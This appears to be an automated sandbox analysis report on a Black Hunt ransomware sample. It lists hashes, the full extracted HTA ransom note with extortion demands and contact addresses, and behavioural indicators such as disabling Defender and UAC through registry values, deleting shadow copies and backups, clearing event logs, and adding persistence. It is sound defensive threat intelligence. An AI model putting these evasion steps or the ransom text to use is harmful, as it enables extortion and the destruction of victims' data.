5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:30

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General

Target

5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Size

707KB
MD5

480a7b76bf362d4ba16a1e3e2acd21c7
SHA1

b86200ecb53206a3dc0b4211688d3f62cdf45cc9
SHA256

5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd
SHA512

3206d14633f6ec8922dac3c4020488937dc34ba4c7d9462cdd38798cbd4be86076b5b1315ef81704ae1291a5d1b656f32fbd3a3ad369767478f700b22e2a9717
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza198Xvnh:6uaTmkZJ+naie5OTamgEoKxLWw/h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> mdekli0JmVaKhaAp </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
844	fsutil.exe
2140	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2916	wevtutil.exe
1296	wevtutil.exe
992	wevtutil.exe
644	wevtutil.exe
2136	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2780	bcdedit.exe
1044	bcdedit.exe
2824	bcdedit.exe
2256	bcdedit.exe

Renames multiple (2895) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2980	wbadmin.exe
2720	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
1748	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Y:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\J:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\L:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\M:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\Q:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\A:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\G:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\E:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\H:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\Z:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\U:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\O:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\X:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\B:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\I:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\K:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\T:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\P:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\V:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\R:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\S:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened (read-only)	\??\N:	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_precomp_matte.wmv	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\scrapbook.png	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\InvokeStart.tiff	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uk\#BlackHunt_Private.key	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Esl\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\DVD Maker\Eurosti.TTF	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\Java\jre7\lib\images\cursors\#BlackHunt_Private.key	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mn.txt	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\Java\jre7\bin\server\#BlackHunt_Private.key	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\full.png	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\dropins\README.TXT	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.core.nl_ja_4.4.0.v20140623020002.jar	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.nl_ja_4.4.0.v20140623020002.jar	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-ui.jar	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\amd64\jvm.cfg	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Tehran	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\images\#BlackHunt_ReadMe.hta	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\#BlackHunt_Private.key	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui_2.3.0.v20140404-1657.jar	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
